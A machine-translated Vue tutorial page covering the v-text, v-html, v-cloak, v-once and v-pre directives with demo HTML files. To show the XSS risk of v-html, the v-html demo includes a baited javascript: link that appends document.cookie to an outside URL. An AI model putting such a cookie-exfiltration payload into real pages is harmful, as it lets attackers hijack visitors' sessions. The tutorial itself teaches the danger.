当前位置:网站首页>Atguigu---15- built in instruction
Atguigu---15- built in instruction
2022-06-24 08:02:00 【Zhangshao】
v-text
v-text Instructions :
1. effect : Render the text content to the node where it resides .
2. Difference from interpolation Syntax :v-text Will replace the content in the node ,{ {xx}} Will not be .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- The instructions we learned : v-bind : One way binding parsing expression , It can be abbreviated as :xxx v-model : Two way data binding v-for : Traversal array / object / character string v-on : Binding event listening , It can be abbreviated as @ v-if : Conditions apply colours to a drawing ( Whether the dynamic control node exists ) v-else : Conditions apply colours to a drawing ( Whether the dynamic control node exists ) v-show : Conditions apply colours to a drawing ( Whether the dynamic control node displays ) v-text Instructions : 1. effect : Render the text content to the node where it resides . 2. Difference from interpolation Syntax :v-text Will replace the content in the node ,{
{xx}} Will not be . -->
<!-- Prepare a container -->
<div id="root">
<div> Hello ,{
{name}}</div>
<div v-text="name"></div>
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
name:' Silicon Valley ', str:'<h3> How do you do !</h3>' } }) </script>
</html>
v-html
v-html Instructions :
1. effect : Render to the specified node html The content of the structure .
2. Difference from interpolation Syntax :
(1).v-html It will replace all the contents in the node ,{ {xx}} Will not be .
(2).v-html Can identify html structure .
3. Pay serious attention to :v-html There are security issues !!!!
(1). Dynamically render arbitrary on the site HTML It's very dangerous , Easily lead to XSS attack .
(2). Be sure to use... On trusted content v-html, Never use it on content submitted by users !
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- v-html Instructions : 1. effect : Render to the specified node html The content of the structure . 2. Difference from interpolation Syntax : (1).v-html It will replace all the contents in the node ,{
{xx}} Will not be . (2).v-html Can identify html structure . 3. Pay serious attention to :v-html There are security issues !!!! (1). Dynamically render arbitrary on the site HTML It's very dangerous , Easily lead to XSS attack . (2). Be sure to use... On trusted content v-html, Never use it on content submitted by users ! -->
<!-- Prepare a container -->
<div id="root">
<div> Hello ,{
{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
name:' Silicon Valley ', str:'<h3> How do you do !</h3>', str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie> Brother, I found the resources you want , come quick !</a>', } }) </script>
</html>
v-cloak
v-cloak Instructions ( No value ):
1. Essence is a special attribute ,Vue After the instance is created and takes over the container , I'll delete v-cloak attribute .
2. Use css coordination v-cloak It can solve the problem that when the network speed is slow, the page shows { {xxx}} The problem of .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak Instructions </title>
<style> [v-cloak]{
display:none; } </style>
<!-- introduce Vue -->
</head>
<body>
<!-- v-cloak Instructions ( No value ): 1. Essence is a special attribute ,Vue After the instance is created and takes over the container , I'll delete v-cloak attribute . 2. Use css coordination v-cloak It can solve the problem that when the network speed is slow, the page shows {
{xxx}} The problem of . -->
<!-- Prepare a container -->
<div id="root">
<h2 v-cloak>{
{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript"> console.log(1) Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
name:' Silicon Valley ' } }) </script>
</html>
v-once
v-once Instructions :
1.v-once The node is after the first dynamic rendering , As static content .
2. Future data changes will not cause v-once Update of the structure , Can be used to optimize performance .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-once Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- v-once Instructions : 1.v-once The node is after the first dynamic rendering , As static content . 2. Future data changes will not cause v-once Update of the structure , Can be used to optimize performance . -->
<!-- Prepare a container -->
<div id="root">
<h2 v-once> The initialization of the n The value is :{
{n}}</h2>
<h2> Current n The value is :{
{n}}</h2>
<button @click="n++"> Am I n+1</button>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
n:1 } }) </script>
</html>
v-pre
v-pre Instructions :
1. Skip the compilation process of its node .
2. You can use it to skip : No instruction syntax is used 、 Nodes that do not use interpolation Syntax , Will speed up compilation .
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-pre Instructions </title>
<!-- introduce Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- v-pre Instructions : 1. Skip the compilation process of its node . 2. You can use it to skip : No instruction syntax is used 、 Nodes that do not use interpolation Syntax , Will speed up compilation . -->
<!-- Prepare a container -->
<div id="root">
<h2 v-pre>Vue It's very simple </h2>
<h2 > Current n The value is :{
{n}}</h2>
<button @click="n++"> Am I n+1</button>
</div>
</body>
<script type="text/javascript"> Vue.config.productionTip = false // prevent vue Generate production prompts at startup . new Vue({
el:'#root', data:{
n:1 } }) </script>
</html>
边栏推荐
- Bit operation
- 火线,零线,地线,你知道这三根线的作用是什么吗?
- Resolution error: LNK2019 unresolved external symbol
- Leetcode exercise - jumping game, combination summation
- [run the script framework in Django and store the data in the database]
- 使用 kubeconfig 文件组织集群访问
- What kind of experience is it when the Institute earns 20000 yuan a month!
- Chapter 3: drawing triangles
- 热赛道上的冷思考:乘数效应才是东数西算的根本要求
- Review of postgraduate English final exam
猜你喜欢

一文理解同步FIFO

Free ICP domain name filing interface

『C语言』系统日期&时间
![[data update] Xunwei comprehensively upgraded NPU development data based on 3568 development board](/img/10/6725b51120a6ae8b16d60f5b1ae904.jpg)
[data update] Xunwei comprehensively upgraded NPU development data based on 3568 development board

开放合作,共赢未来 | 福昕鲲鹏加入金兰组织

OpenGauss数据库在 CentOS 上的实践,配置篇

慕思股份在深交所上市:毛利率持续下滑,2022年一季度营销失利

How to cancel the display of the return button at the uniapp uni app H5 end the autobackbutton does not take effect

SCM stm32f103rb, BLDC DC motor controller design, schematic diagram, source code and circuit scheme

GraphMAE----論文快速閱讀
随机推荐
鸿蒙开发四
【资料上新】迅为基于3568开发板的NPU开发资料全面升级
毕业两年月薪36k,说难也不难吧
云开发谁是卧底小程序源码
第 2 篇:绘制一个窗口
第 2 篇:繪制一個窗口
[data update] Xunwei comprehensively upgraded NPU development data based on 3568 development board
模型效果优化,试一下多种交叉验证的方法(系统实操)
decltype用法介绍
力扣(LeetCode)174. 地下城游戏(2022.06.23)
Echart's experience (I): about y axis yaxis attribute
调用Feign接口时指定ip
LeetCode练习——跳跃游戏、组合求和
不止于观测|阿里云可观测套件正式发布
Do you still have the opportunity to become a machine learning engineer without professional background?
Examples of corpus data processing cases (reading multiple text files, reading multiple files specified under a folder, decoding errors, reading multiple subfolder text, batch renaming of multiple fil
关于h5页面苹果手机使用fixed定位tabbar最底部时遮挡内容问题
Cloud development who is the source code of undercover applet
Practice of opengauss database on CentOS, configuration
闲谈:3AC到底发生了什么?